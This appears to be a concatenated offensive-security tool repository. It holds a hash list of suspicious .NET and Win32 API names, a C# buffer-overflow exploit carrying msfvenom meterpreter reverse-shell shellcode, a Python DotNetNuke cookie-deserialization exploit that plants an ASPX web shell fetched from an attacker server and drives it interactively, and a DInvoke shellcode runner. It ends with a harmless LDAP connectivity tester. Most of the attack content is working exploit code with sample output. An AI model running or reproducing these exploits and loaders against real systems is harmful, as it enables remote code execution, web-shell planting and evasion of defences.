1077700873: return "GetProperties"; 41 | case 1020114731: return "GetProperty"; 42 | case 257791250: return "InvokeMember"; 43 | case 3217683173: return "MakeArrayType"; 44 | case 821968872: return "MakeByRefType"; 45 | case 3538448099: return "MakeGenericType"; 46 | case 3207725129: return "MakePointerType"; 47 | case 1617553224: return "DeclaringMethod"; 48 | case 3152745313: return "DeclaringType"; 49 | case 4144122198: return "ReflectedType"; 50 | case 3455789538: return "TypeHandle"; 51 | case 624373608: return "TypeInitializer"; 52 | case 637454598: return "UnderlyingSystemType"; 53 | 54 | // Doing things with System.Runtime.InteropServices 55 | case 1855303451: return "InteropServices"; 56 | case 839491486: return "Marshal"; 57 | case 1928879414: return "AllocHGlobal"; 58 | case 3180922282: return "PtrToStructure"; 59 | case 1718292736: return "StructureToPtr"; 60 | case 3390778911: return "FreeHGlobal"; 61 | case 3111215263: return "IntPtr"; 62 | 63 | // General Obfuscation 64 | case 1606191041: return "MemoryStream"; 65 | case 2147536747: return "DeflateStream"; 66 | case 1820815050: return "FromBase64String"; 67 | case 3656724093: return "EncodedCommand"; 68 | case 2920836328: return "Bypass"; 69 | case 3473847323: return "ToBase64String"; 70 | case 4192166699: return "ExpandString"; 71 | case 2462813217: return "GetPowerShell"; 72 | 73 | // Suspicious Win32 API calls 74 | case 2123968741: return "OpenProcess"; 75 | case 3630248714: return "VirtualAlloc"; 76 | case 3303847927: return "VirtualFree"; 77 | case 512407217: return "WriteProcessMemory"; 78 | case 2357873553: return "CreateUserThread"; 79 | case 756544032: return "CloseHandle"; 80 | case 3400025495: return "GetDelegateForFunctionPointer"; 81 | case 314128220: return "kernel32"; 82 | case 2469462534: return "CreateThread"; 83 | case 3217199031: return "memcpy"; 84 | case 2283745557: return "LoadLibrary"; 85 | case 3317813738: return "GetModuleHandle"; 86 | case 2491894472: return "GetProcAddress"; 87 | case 1757922660: return "VirtualProtect"; 88 | case 2693938383: return "FreeLibrary"; 89 | case 2873914970: return "ReadProcessMemory"; 90 | case 2717270220: return "CreateRemoteThread"; 91 | case 2867203884: return "AdjustTokenPrivileges"; 92 | case 2889068903: return "WriteByte"; 93 | case 3667925519: return "WriteInt32"; 94 | case 2742077861: return "OpenThreadToken"; 95 | case 2826980154: return "PtrToString"; 96 | case 3735047487: return "ZeroFreeGlobalAllocUnicode"; 97 | case 788615220: return "OpenProcessToken"; 98 | case 1264589033: return "GetTokenInformation"; 99 | case 2165372045: return "SetThreadToken"; 100 | case 197357349: return "ImpersonateLoggedOnUser"; 101 | case 1259149099: return "RevertToSelf"; 102 | case 2446460563: return "GetLogonSessionData"; 103 | case 2534763616: return "CreateProcessWithToken"; 104 | case 3512478977: return "DuplicateTokenEx"; 105 | case 3126049082: return "OpenWindowStation"; 106 | case 3990594194: return "OpenDesktop"; 107 | case 3195806696: return "MiniDumpWriteDump"; 108 | case 3990234693: return "AddSecurityPackage"; 109 | case 611728017: return "EnumerateSecurityPackages"; 110 | case 4283779521: return "GetProcessHandle"; 111 | case 845600244: return "DangerousGetHandle"; 112 | 113 | // Crypto - ransomware, etc. 114 | case 2691669189: return "CryptoServiceProvider"; 115 | case 1413809388: return "Cryptography"; 116 | case 4113841312: return "RijndaelManaged"; 117 | case 1650652922: return "SHA1Managed"; 118 | case 1759701889: return "CryptoStream"; 119 | case 2439640460: return "CreateEncryptor"; 120 | case 1446703796: return "CreateDecryptor"; 121 | case 1638240579: return "TransformFinalBlock"; 122 | case 1464730593: return "DeviceIoControl"; 123 | case 3966822309: return "SetInformationProcess"; 124 | case 851965993: return "PasswordDeriveBytes"; 125 | 126 | // Keylogging 127 | case 793353336: return "GetAsyncKeyState"; 128 | case 293877108: return "GetKeyboardState"; 129 | case 2448894537: return "GetForegroundWindow"; 130 | 131 | // Using internal types 132 | case 4059335458: return "BindingFlags"; 133 | case 1085624182: return "NonPublic"; 134 | 135 | // Changing logging settings 136 | case 904148605: return "ScriptBlockLogging"; 137 | case 4150524432: return "LogPipelineExecutionDetails"; 138 | case 3704712755: return "ProtectedEventLogging"; -------------------------------------------------------------------------------- /csharp/BufferOverflowPoc.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Net; 5 | using System.Net.Sockets; 6 | using System.Text; 7 | 8 | namespace BO_PoC 9 | { 10 | class Program 11 | { 12 | static void Main(string[] args) 13 | { 14 | //Console.WriteLine(String.Concat(Enumerable.Repeat("A", 1500))); 15 | //return; 16 | // --- 17 | IPHostEntry ipHost = Dns.GetHostEntry(Dns.GetHostName()); 18 | IPAddress ipAddr = IPAddress.Parse("127.0.0.1"); 19 | IPEndPoint localEndPoint = new IPEndPoint(ipAddr, 4444); 20 | 21 | Socket sender = new Socket(ipAddr.AddressFamily, SocketType.Stream, ProtocolType.Tcp); 22 | 23 | try 24 | { 25 | byte[] messageReceived = new byte[1024]; 26 | byte[] messageSent = Encoding.ASCII.GetBytes("Admin"); 27 | 28 | sender.Connect(localEndPoint); 29 | Console.WriteLine("Socket connected to -> {0} ", sender.RemoteEndPoint.ToString()); 30 | 31 | 32 | int byteRecv = sender.Receive(messageReceived); 33 | Console.WriteLine("Message from Server -> {0}", Encoding.ASCII.GetString(messageReceived, 0, byteRecv)); 34 | 35 | 36 | int byteSent = sender.Send(messageSent); 37 | byteRecv = sender.Receive(messageReceived); 38 | Console.WriteLine("Message from Server -> {0}", Encoding.ASCII.GetString(messageReceived, 0, byteRecv)); 39 | 40 | //messageSent = Encoding.ASCII.GetBytes("P@$$worD"); 41 | 42 | byte[] crash = Encoding.ASCII.GetBytes(String.Concat(Enumerable.Repeat("A", 1028))); 43 | byte[] jmp = new byte[4] { 0xC5, 0x3F, 0x4A, 0x10 }; 44 | byte[] nops = new byte[20] { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 }; 45 | // msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.14.76 lport=443 EXITFUNC=process -a x86 --platform windows -b "\x00" -e x86/shikata_ga_nai -f csharp 46 | byte[] sc = new byte[402] { 47 | 0xb8,0xe3,0x23,0xb5,0xc4,0xd9,0xc8,0xd9,0x74,0x24,0xf4,0x5f,0x2b,0xc9,0xb1, 48 | 0x5e,0x31,0x47,0x15,0x83,0xef,0xfc,0x03,0x47,0x11,0xe2,0x16,0xdf,0x5d,0x4b, 49 | 0xd8,0x20,0x9e,0x34,0x51,0xc5,0xaf,0x66,0x05,0x8d,0x82,0xb6,0x4e,0xc3,0x2e, 50 | 0x3c,0x02,0xf0,0xa5,0x30,0x8a,0xc9,0x46,0xbb,0x7d,0x63,0x9f,0xf5,0x41,0xd8, 51 | 0xe3,0x94,0x3d,0x23,0x30,0x77,0x7c,0xec,0x45,0x76,0xb9,0xba,0x20,0x97,0x17, 52 | 0xb6,0x99,0x77,0xc0,0x43,0x5f,0x44,0xef,0x83,0xeb,0xf4,0x97,0xa6,0x2c,0x80, 53 | 0x2b,0xa8,0x7c,0x39,0x38,0xf2,0x5c,0x31,0x76,0x1b,0x9c,0x96,0x03,0xd2,0xea, 54 | 0x24,0x42,0xd4,0xed,0xde,0x60,0x9d,0x13,0x37,0xb9,0x61,0xbf,0x76,0x76,0x6c, 55 | 0xc1,0xbf,0xb0,0x8f,0xb4,0xcb,0xc3,0x32,0xcf,0x0f,0xbe,0xe8,0x5a,0x90,0x18, 56 | 0x7a,0xfc,0x74,0x99,0xaf,0x9b,0xff,0x95,0x04,0xef,0x58,0xb9,0x9b,0x3c,0xd3, 57 | 0xc5,0x10,0xc3,0x34,0x4c,0x62,0xe0,0x90,0x15,0x30,0x89,0x81,0xf3,0x97,0xb6, 58 | 0xd2,0x5b,0x47,0x13,0x98,0x49,0x9e,0x23,0x61,0x92,0x9f,0x79,0xf6,0x5f,0x52, 59 | 0x82,0x06,0xf7,0xe5,0xf1,0x34,0x58,0x5e,0x9e,0x74,0x11,0x78,0x59,0x0c,0x35, 60 | 0x7b,0xb5,0xb6,0x55,0x85,0x36,0xc7,0x7c,0x42,0x62,0x97,0x16,0x63,0x0b,0x7c, 61 | 0xe6,0x8c,0xde,0xe9,0xec,0x1a,0xeb,0xe7,0xfe,0xe8,0x83,0xf5,0xfe,0x0d,0xef, 62 | 0x73,0x18,0x5d,0x5f,0xd4,0xb4,0x1e,0x0f,0x94,0x64,0xf7,0x45,0x1b,0x5b,0xe7, 63 | 0x65,0xf1,0xf4,0x82,0x89,0xac,0xad,0x3a,0x33,0xf5,0x25,0xda,0xbc,0x23,0x40, 64 | 0xdc,0x37,0xc6,0xb5,0x93,0xbf,0xa3,0xa5,0xc4,0xa7,0x4b,0x35,0x15,0x42,0x4c, 65 | 0x5f,0x11,0xc4,0x1b,0xf7,0x1b,0x31,0x6b,0x58,0xe3,0x14,0xef,0x9e,0x1b,0xe9, 66 | 0xc6,0xd5,0x2a,0x7f,0x67,0x81,0x52,0x6f,0x67,0x51,0x05,0xe5,0x67,0x39,0xf1, 67 | 0x5d,0x34,0x5c,0xfe,0x4b,0x28,0xcd,0x6b,0x74,0x19,0xa2,0x3c,0x1c,0xa7,0x9d, 68 | 0x0b,0x83,0x58,0xc8,0x0f,0xc4,0xa7,0x8f,0x27,0x6d,0xc0,0x6f,0x78,0x8d,0x10, 69 | 0x05,0x78,0xdd,0x78,0xd2,0x57,0xd2,0x48,0x1b,0x72,0xbb,0xc0,0x96,0x13,0x09, 70 | 0x70,0xa7,0x39,0xcf,0x2c,0xa8,0xce,0xd4,0xdf,0xd3,0xbf,0xeb,0x1f,0x24,0xd6, 71 | 0x8f,0x1f,0x25,0xd6,0xb1,0x1c,0xf0,0xef,0xc7,0x63,0xc1,0x4b,0xc7,0x79,0xef, 72 | 0xa1,0x60,0x24,0x7a,0x08,0xed,0xd7,0x51,0x4f,0x08,0x54,0x53,0x30,0xef,0x44, 73 | 0x16,0x35,0xab,0xc2,0xcb,0x47,0xa4,0xa6,0xeb,0xf4,0xc5,0xe2 }; 74 | int sz_fill = 1500 - crash.Length - jmp.Length - nops.Length - sc.Length; 75 | byte[] fill = Encoding.ASCII.GetBytes(String.Concat(Enumerable.Repeat("C", sz_fill))); 76 | 77 | byte[] buf = crash.Concat(jmp).Concat(nops).Concat(sc).Concat(fill).ToArray(); 78 | 79 | Console.WriteLine("buf.Length: " + buf.Length); 80 | 81 | // Encoding.ASCII.GetBytes(String.Concat(Enumerable.Repeat("A", 1500))) 82 | messageSent = buf; 83 | byteSent = sender.Send(messageSent); 84 | byteRecv = sender.Receive(messageReceived); 85 | Console.WriteLine("Message from Server -> {0}", Encoding.ASCII.GetString(messageReceived, 0, byteRecv)); 86 | 87 | } 88 | catch (ArgumentNullException ane) 89 | { 90 | 91 | Console.WriteLine("ArgumentNullException : {0}", ane.ToString()); 92 | } 93 | 94 | catch (SocketException se) 95 | { 96 | 97 | Console.WriteLine("SocketException : {0}", se.ToString()); 98 | } 99 | 100 | catch (Exception e) 101 | { 102 | Console.WriteLine("Unexpected exception : {0}", e.ToString()); 103 | } 104 | } 105 | } 106 | } 107 | -------------------------------------------------------------------------------- /py/DotNetNuke-Cookie-Deserialization.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | import sys 3 | import requests 4 | from urllib.parse import urlparse 5 | import readline 6 | import re 7 | 8 | # script to exploit the DotNetNuke cookie deserialization vulnerability 9 | # usage 10 | # 1. copy the file contents in the commented block below into a file, eg shell.aspx 11 | # 2. run a python web server - python3 http.server 8080 12 | # 3. execute this script - ./dnn_sploit http://attacker:8080/shell.aspx http://victim 13 | # 14 | # --- shell.aspx --- 15 | # <%@ Page Language="C#" Debug="true" Trace="false" %> 16 | # <%@ Import Namespace="System.Diagnostics" %> 17 | # <%@ Import Namespace="System.IO" %> 18 | # 42 | # 43 | # 44 | # gimi 45 | # 46 | # 47 | #
48 | # 49 | # 50 | # Command: 51 | #
52 | # 53 | # 54 | # --- 55 | # successful output 56 | # ./dnn_sploit.py http://10.10.14.4:8080/likes.aspx http://10.10.110.10 57 | # [+] Sending victim server, http://10.10.14.4:8080/likes.aspx, the upload URL: http://10.10.110.10 58 | # shellurl: http://10.10.110.10/likes.aspx 59 | # [+] Upload successful 60 | # > whoami 61 | # nt authority\network service 62 | 63 | 64 | if len(sys.argv) != 3: 65 | print("./dnn_sploit.py ") 66 | sys.exit(1) 67 | 68 | atkurl = sys.argv[1] 69 | vicurl = sys.argv[2] 70 | 71 | print("[+] Sending victim server, {}, the upload URL: {}".format(atkurl,vicurl)) 72 | 73 | # parse out the URL's host 74 | host = urlparse(vicurl).netloc 75 | 76 | # build the web shell URL 77 | path = urlparse(atkurl).path 78 | shellurl = vicurl + path 79 | print("shellurl: {}".format(shellurl)) 80 | 81 | # build upload file path 82 | uploadpath = "C:\\dotnetnuke\\likes.aspx" 83 | 84 | # Headers 85 | headers = { 86 | 'Host': host, 87 | 'User-Agent': 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)', 88 | 'Cookie': '.DOTNETNUKE=;DNNPersonalization=PullFile' + atkurl + '' + uploadpath + ';', 89 | 'Connection': 'close', 90 | } 91 | 92 | # Data 93 | data = r'''''' 94 | 95 | # Cookies 96 | cookies = { 97 | } 98 | 99 | # Prepare and send upload request 100 | req = requests.Request( 101 | method='GET', 102 | url=vicurl + '/__', 103 | headers=headers, 104 | data=data, 105 | cookies=cookies, 106 | ) 107 | 108 | prepared_req = req.prepare() 109 | session = requests.Session() 110 | resp = session.send(prepared_req) 111 | 112 | # Prepare and send checker request 113 | req2 = requests.Request( 114 | method='GET', 115 | url=shellurl, 116 | ) 117 | 118 | prepared_req2 = req2.prepare() 119 | session = requests.Session() 120 | resp = session.send(prepared_req2) 121 | 122 | if resp.status_code != 200: 123 | print("[!] Something went wrong") 124 | sys.exit(1) 125 | 126 | print("[+] Upload successful") 127 | 128 | def RunCmd (cmd,shellurl): 129 | 130 | host = urlparse(shellurl).netloc 131 | 132 | # Headers 133 | headers = { 134 | 'Host': host, 135 | 'User-Agent': 'curl/7.72.0', 136 | 'Accept': '*/*', 137 | 'Content-Length': '344', 138 | 'Content-Type': 'application/x-www-form-urlencoded', 139 | 'Connection': 'close', 140 | } 141 | 142 | # Data 143 | data = r'''__VIEWSTATE=fmt01B%2F4FMHxX5x3jDwqDB53kUlUlWWf6zzCunR%2BJQft%2FUi1mLbjgwF8WXoQ85KNUorMjIojICl8zDTN2tm0l86lJ7z6QPpm%2FEinNA%3D%3D&__VIEWSTATEGENERATOR=DBE0DA6C&__VIEWSTATEENCRYPTED=&__EVENTVALIDATION=8rI7byKdBgr8gi2EdtuM1eoaM8U%2BgMcNPUaKtMe3lcVBZuL%2FwTgh5pSvby1gJVAASZC5KgfpT8Pi1ZQU8pJnrLzr9nKY8rWeRJGaBA7BThwsVi5D&txtArg={}&testing=excute'''.format(cmd) 144 | 145 | # Cookies 146 | cookies = { 147 | } 148 | 149 | # Prepare and send request 150 | req = requests.Request( 151 | method='POST', 152 | url=shellurl, 153 | headers=headers, 154 | data=data, 155 | cookies=cookies, 156 | ) 157 | prepared_req = req.prepare() 158 | session = requests.Session() 159 | resp = session.send(prepared_req) 160 | 161 | result = re.search(r'
.*?\n
', resp.text, re.DOTALL).group().replace("
","").replace("
","") 162 | print(result) 163 | 164 | while True: 165 | cmd = input('> ') 166 | if cmd == "exit" or cmd == "quit": 167 | sys.exit(0) 168 | 169 | RunCmd(cmd,shellurl) 170 | 171 | -------------------------------------------------------------------------------- /csharp/DInvokeScRunner.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.ComponentModel; 3 | using System.Diagnostics; 4 | using System.Runtime.InteropServices; 5 | 6 | /* 7 | * This program is a PoC shellcode runner written to practice using DInvoke. 8 | * Compile the dev branch of DInvoke and add the DLL as a reference. 9 | * @thelikes 10 | */ 11 | 12 | namespace DInvokeScRunner 13 | { 14 | class Program 15 | { 16 | static void Main(string[] args) 17 | { 18 | // --- payload 19 | byte[] buf = new byte[606] { 0xfc,[...],0xd5 }; 20 | 21 | // size of the decoded buffer 22 | int size = buf.Length; 23 | Console.WriteLine("[>] buf.Length: " + size); 24 | 25 | // --- get process ID 26 | Process thisproc = Process.GetCurrentProcess(); 27 | Console.WriteLine("[>] Current process ID: " + thisproc.Id); 28 | 29 | // --- VirtualAlloc 30 | Console.WriteLine("\n[>] Press to proceed to VirtualAlloc..."); 31 | var name = Console.ReadLine(); 32 | 33 | // setup 34 | IntPtr syscall = DInvoke.DynamicInvoke.Generic.GetSyscallStub("NtAllocateVirtualMemory"); 35 | DInvoke.DynamicInvoke.Native.DELEGATES.NtAllocateVirtualMemory syscallAllocateVirtualMemory = (DInvoke.DynamicInvoke.Native.DELEGATES.NtAllocateVirtualMemory)Marshal.GetDelegateForFunctionPointer(syscall, typeof(DInvoke.DynamicInvoke.Native.DELEGATES.NtAllocateVirtualMemory)); 36 | 37 | // exec 38 | IntPtr baseAddress = IntPtr.Zero; 39 | IntPtr regionSize = (IntPtr)buf.Length; 40 | var result = syscallAllocateVirtualMemory( 41 | thisproc.Handle, 42 | ref baseAddress, 43 | IntPtr.Zero, 44 | ref regionSize, 45 | DInvoke.Data.Win32.Kernel32.MEM_COMMIT | DInvoke.Data.Win32.Kernel32.MEM_RESERVE, 46 | 0x04); 47 | 48 | if (result != 0) throw new Win32Exception(); 49 | 50 | Console.WriteLine("[>] baseAddress: " + String.Format("0x{0:X4}", baseAddress)); 51 | 52 | // --- Write buf 53 | Console.WriteLine("\n[>] Press to proceed to Copy..."); 54 | Console.ReadLine(); 55 | 56 | //Marshal.Copy(buf, 0, baseAddress, size); 57 | var buffer = Marshal.AllocHGlobal(size); 58 | Marshal.Copy(buf, 0, buffer, size); 59 | 60 | // NtWriteVirtualMemory 61 | uint bytesWritten = 0; 62 | 63 | syscall = DInvoke.DynamicInvoke.Generic.GetSyscallStub("NtWriteVirtualMemory"); 64 | DInvoke.DynamicInvoke.Native.DELEGATES.NtWriteVirtualMemory ntWriteVirtualMemory = (DInvoke.DynamicInvoke.Native.DELEGATES.NtWriteVirtualMemory)Marshal.GetDelegateForFunctionPointer(syscall, typeof(DInvoke.DynamicInvoke.Native.DELEGATES.NtWriteVirtualMemory)); 65 | 66 | result = ntWriteVirtualMemory( 67 | thisproc.Handle, 68 | baseAddress, 69 | buffer, 70 | (uint)buf.Length, 71 | ref bytesWritten); 72 | 73 | Console.WriteLine("[>] bytesWritten:" + bytesWritten); 74 | 75 | // NtProtectVirtualMemory 76 | syscall = DInvoke.DynamicInvoke.Generic.GetSyscallStub("NtProtectVirtualMemory"); 77 | DInvoke.DynamicInvoke.Native.DELEGATES.NtProtectVirtualMemory syscallProtectVirtualMemory = (DInvoke.DynamicInvoke.Native.DELEGATES.NtProtectVirtualMemory)Marshal.GetDelegateForFunctionPointer(syscall, typeof(DInvoke.DynamicInvoke.Native.DELEGATES.NtProtectVirtualMemory)); 78 | 79 | uint oldProtect = 0; 80 | 81 | result = syscallProtectVirtualMemory( 82 | thisproc.Handle, 83 | ref baseAddress, 84 | ref regionSize, 85 | 0x20, 86 | ref oldProtect); 87 | 88 | Console.WriteLine("[>] syscallProtectVirtualMemory: " + result); 89 | 90 | // --- CreateProcess 91 | Console.WriteLine("\n[>] Press to proceed to CreateThread..."); 92 | Console.ReadLine(); 93 | 94 | // setup 95 | syscall = DInvoke.DynamicInvoke.Generic.GetSyscallStub("NtCreateThreadEx"); 96 | Console.WriteLine("[>] syscall: " + syscall); 97 | DInvoke.DynamicInvoke.Native.DELEGATES.NtCreateThreadEx syscallCreateThreadEx = (DInvoke.DynamicInvoke.Native.DELEGATES.NtCreateThreadEx)Marshal.GetDelegateForFunctionPointer(syscall, typeof(DInvoke.DynamicInvoke.Native.DELEGATES.NtCreateThreadEx)); 98 | 99 | //exec 100 | Console.WriteLine("[>] baseAddress: " + String.Format("0x{0:X4}", baseAddress)); 101 | IntPtr hThread = IntPtr.Zero; 102 | syscallCreateThreadEx( 103 | out hThread, 104 | DInvoke.Data.Win32.WinNT.ACCESS_MASK.MAXIMUM_ALLOWED, 105 | IntPtr.Zero, 106 | thisproc.Handle, 107 | baseAddress, 108 | IntPtr.Zero, 109 | false, 110 | 0, 111 | 0, 112 | 0, 113 | IntPtr.Zero); 114 | 115 | Console.WriteLine("[>] hThread: " + hThread); 116 | 117 | // --- WaitForSingleObject 118 | // > Note, if we use ReadLine here, it doesn't matter if our Nt/WaitForSingleObject is correct as the thread & process will be held up at the prompt. 119 | //Console.WriteLine("[>] Press to proceed to WaitForSingleObject..."); 120 | //Console.ReadLine(); 121 | 122 | // setup 123 | syscall = DInvoke.DynamicInvoke.Generic.GetSyscallStub("NtWaitForSingleObject"); 124 | Console.WriteLine("[>] syscall: " + syscall); 125 | MYDELEGATES.NtWaitForSingleObject syscallWaitForSingleObject = (MYDELEGATES.NtWaitForSingleObject)Marshal.GetDelegateForFunctionPointer(syscall, typeof(MYDELEGATES.NtWaitForSingleObject)); 126 | 127 | // exec 128 | syscallWaitForSingleObject(hThread, false, IntPtr.Zero); 129 | } 130 | public class TinyDinvoke 131 | { 132 | //API signature 133 | public static DInvoke.Data.Native.NTSTATUS NtWaitForSingleObject(IntPtr hHandle, bool Alertable, IntPtr TimeOut) 134 | { 135 | object[] funcargs = { 136 | hHandle,Alertable,TimeOut 137 | }; 138 | 139 | DInvoke.Data.Native.NTSTATUS retvalue = (DInvoke.Data.Native.NTSTATUS)DInvoke.DynamicInvoke.Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtWaitForSingleObject", typeof(MYDELEGATES.NtWaitForSingleObject), ref funcargs); 140 | hHandle = (IntPtr)funcargs[0]; 141 | 142 | return retvalue; 143 | } 144 | } 145 | public class MYDELEGATES 146 | { 147 | /* 148 | * NtWaitForSingleObject( 149 | * IN HANDLE ObjectHandle, 150 | * IN BOOLEAN Alertable, 151 | * IN PLARGE_INTEGER TimeOut OPTIONAL); 152 | */ 153 | 154 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 155 | public delegate DInvoke.Data.Native.NTSTATUS NtWaitForSingleObject( 156 | IntPtr hHandle, 157 | bool Alertable, 158 | IntPtr Timeout); 159 | } 160 | } 161 | } -------------------------------------------------------------------------------- /msbuild/MSBuild-Hollow-Runner-x64.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 9 | 10 | 11 | 183 | 184 | 185 | 186 | -------------------------------------------------------------------------------- /psh/Test-LDAP.ps1: -------------------------------------------------------------------------------- 1 | # source: https://github.com/EvotecIT/ADEssentials 2 | # blog: https://evotec.xyz/testing-ldap-and-ldaps-connectivity-with-powershell/ 3 | # more: https://github.com/EvotecIT/Testimo 4 | 5 | Function Test-LDAP { 6 | <# 7 | .SYNOPSIS 8 | Tests LDAP connectivity to one ore more servers. 9 | 10 | .DESCRIPTION 11 | Tests LDAP connectivity to one ore more servers. It's able to gather certificate information which provides useful information. 12 | 13 | .PARAMETER Forest 14 | Target different Forest, by default current forest is used 15 | 16 | .PARAMETER ExcludeDomains 17 | Exclude domain from search, by default whole forest is scanned 18 | 19 | .PARAMETER IncludeDomains 20 | Include only specific domains, by default whole forest is scanned 21 | 22 | .PARAMETER ExcludeDomainControllers 23 | Exclude specific domain controllers, by default there are no exclusions, as long as VerifyDomainControllers switch is enabled. Otherwise this parameter is ignored. 24 | 25 | .PARAMETER IncludeDomainControllers 26 | Include only specific domain controllers, by default all domain controllers are included, as long as VerifyDomainControllers switch is enabled. Otherwise this parameter is ignored. 27 | 28 | .PARAMETER SkipRODC 29 | Skip Read-Only Domain Controllers. By default all domain controllers are included. 30 | 31 | .PARAMETER ExtendedForestInformation 32 | Ability to provide Forest Information from another command to speed up processing 33 | 34 | .PARAMETER ComputerName 35 | Provide FQDN, IpAddress or NetBIOS name to test LDAP connectivity. This can be used instead of targetting Forest/Domain specific LDAP Servers 36 | 37 | .PARAMETER GCPortLDAP 38 | Global Catalog Port for LDAP. If not defined uses default 3268 port. 39 | 40 | .PARAMETER GCPortLDAPSSL 41 | Global Catalog Port for LDAPs. If not defined uses default 3269 port. 42 | 43 | .PARAMETER PortLDAP 44 | LDAP port. If not defined uses default 389 45 | 46 | .PARAMETER PortLDAPS 47 | LDAPs port. If not defined uses default 636 48 | 49 | .PARAMETER VerifyCertificate 50 | Binds to LDAP and gathers information about certificate available 51 | 52 | .PARAMETER Credential 53 | Allows to define credentials. This switches authentication for LDAP Binding from Kerberos to Basic 54 | 55 | .EXAMPLE 56 | Test-LDAP -ComputerName 'AD1' -VerifyCertificate | Format-Table * 57 | 58 | .EXAMPLE 59 | Test-LDAP -VerifyCertificate -SkipRODC | Format-Table * 60 | 61 | .NOTES 62 | General notes 63 | #> 64 | [CmdletBinding(DefaultParameterSetName = 'Forest')] 65 | param ( 66 | [Parameter(ParameterSetName = 'Forest')][alias('ForestName')][string] $Forest, 67 | [Parameter(ParameterSetName = 'Forest')][string[]] $ExcludeDomains, 68 | [Parameter(ParameterSetName = 'Forest')][string[]] $ExcludeDomainControllers, 69 | [Parameter(ParameterSetName = 'Forest')][alias('Domain', 'Domains')][string[]] $IncludeDomains, 70 | [Parameter(ParameterSetName = 'Forest')][alias('DomainControllers')][string[]] $IncludeDomainControllers, 71 | [Parameter(ParameterSetName = 'Forest')][switch] $SkipRODC, 72 | [Parameter(ParameterSetName = 'Forest')][System.Collections.IDictionary] $ExtendedForestInformation, 73 | 74 | [alias('Server', 'IpAddress')][Parameter(ValueFromPipelineByPropertyName, ValueFromPipeline, Mandatory, ParameterSetName = 'Computer')][string[]]$ComputerName, 75 | 76 | [Parameter(ParameterSetName = 'Forest')] 77 | [Parameter(ParameterSetName = 'Computer')] 78 | [int] $GCPortLDAP = 3268, 79 | [Parameter(ParameterSetName = 'Forest')] 80 | [Parameter(ParameterSetName = 'Computer')] 81 | [int] $GCPortLDAPSSL = 3269, 82 | [Parameter(ParameterSetName = 'Forest')] 83 | [Parameter(ParameterSetName = 'Computer')] 84 | [int] $PortLDAP = 389, 85 | [Parameter(ParameterSetName = 'Forest')] 86 | [Parameter(ParameterSetName = 'Computer')] 87 | [int] $PortLDAPS = 636, 88 | [Parameter(ParameterSetName = 'Forest')] 89 | [Parameter(ParameterSetName = 'Computer')] 90 | [switch] $VerifyCertificate, 91 | [Parameter(ParameterSetName = 'Forest')] 92 | [Parameter(ParameterSetName = 'Computer')] 93 | [PSCredential] $Credential 94 | ) 95 | begin { 96 | Add-Type -Assembly System.DirectoryServices.Protocols 97 | if (-not $ComputerName) { 98 | $ForestInformation = Get-WinADForestDetails -Forest $Forest -IncludeDomains $IncludeDomains -ExcludeDomains $ExcludeDomains -ExtendedForestInformation $ExtendedForestInformation -SkipRODC:$SkipRODC.IsPresent -IncludeDomainControllers $IncludeDomainControllers -ExcludeDomainControllers $ExcludeDomainControllers 99 | } 100 | } 101 | Process { 102 | if ($ComputerName) { 103 | foreach ($Computer in $ComputerName) { 104 | Write-Verbose "Test-LDAP - Processing $Computer" 105 | $ServerName = ConvertTo-ComputerFQDN -Computer $Computer 106 | Test-LdapServer -ServerName $ServerName -Computer $Computer 107 | } 108 | } else { 109 | foreach ($Computer in $ForestInformation.ForestDomainControllers) { 110 | Write-Verbose "Test-LDAP - Processing $($Computer.HostName)" 111 | Test-LdapServer -ServerName $($Computer.HostName) -Computer $Computer.HostName -Advanced $Computer 112 | } 113 | } 114 | } 115 | } 116 | 117 | function ConvertTo-ComputerFQDN { 118 | [cmdletBinding()] 119 | param( 120 | [string] $Computer 121 | ) 122 | # Checks for ServerName - Makes sure to convert IPAddress to DNS, otherwise SSL won't work 123 | $IPAddressCheck = [System.Net.IPAddress]::TryParse($Computer, [ref][ipaddress]::Any) 124 | $IPAddressMatch = $Computer -match '^(\d+\.){3}\d+$' 125 | if ($IPAddressCheck -and $IPAddressMatch) { 126 | [Array] $ADServerFQDN = (Resolve-DnsName -Name $Computer -ErrorAction SilentlyContinue -Type PTR -Verbose:$false) 127 | if ($ADServerFQDN.Count -gt 0) { 128 | $ServerName = $ADServerFQDN[0].NameHost 129 | } else { 130 | $ServerName = $Computer 131 | } 132 | } else { 133 | [Array] $ADServerFQDN = (Resolve-DnsName -Name $Computer -ErrorAction SilentlyContinue -Type A -Verbose:$false) 134 | if ($ADServerFQDN.Count -gt 0) { 135 | $ServerName = $ADServerFQDN[0].Name 136 | } else { 137 | $ServerName = $Computer 138 | } 139 | } 140 | $ServerName 141 | } 142 | 143 | function Test-LDAPPorts { 144 | [CmdletBinding()] 145 | param( 146 | [string] $ServerName, 147 | [int] $Port 148 | ) 149 | if ($ServerName -and $Port -ne 0) { 150 | Write-Verbose "Test-LDAPPorts - Processing $ServerName / $Port" 151 | try { 152 | $LDAP = "LDAP://" + $ServerName + ':' + $Port 153 | $Connection = [ADSI]($LDAP) 154 | $Connection.Close() 155 | [PSCustomObject] @{ 156 | Computer = $ServerName 157 | Port = $Port 158 | Status = $true 159 | ErrorMessage = '' 160 | } 161 | } catch { 162 | $ErrorMessage = $($_.Exception.Message) -replace [System.Environment]::NewLine 163 | if ($_.Exception.ToString() -match "The server is not operational") { 164 | Write-Warning "Test-LDAPPorts - Can't open $ServerName`:$Port. Error: $ErrorMessage" 165 | } elseif ($_.Exception.ToString() -match "The user name or password is incorrect") { 166 | Write-Warning "Test-LDAPPorts - Current user ($Env:USERNAME) doesn't seem to have access to to LDAP on port $Server`:$Port. Error: $ErrorMessage" 167 | } else { 168 | Write-Warning -Message "Test-LDAPPorts - Error: $ErrorMessage" 169 | } 170 | [PSCustomObject] @{ 171 | Computer = $ServerName 172 | Port = $Port 173 | Status = $false 174 | ErrorMessage = $ErrorMessage 175 | } 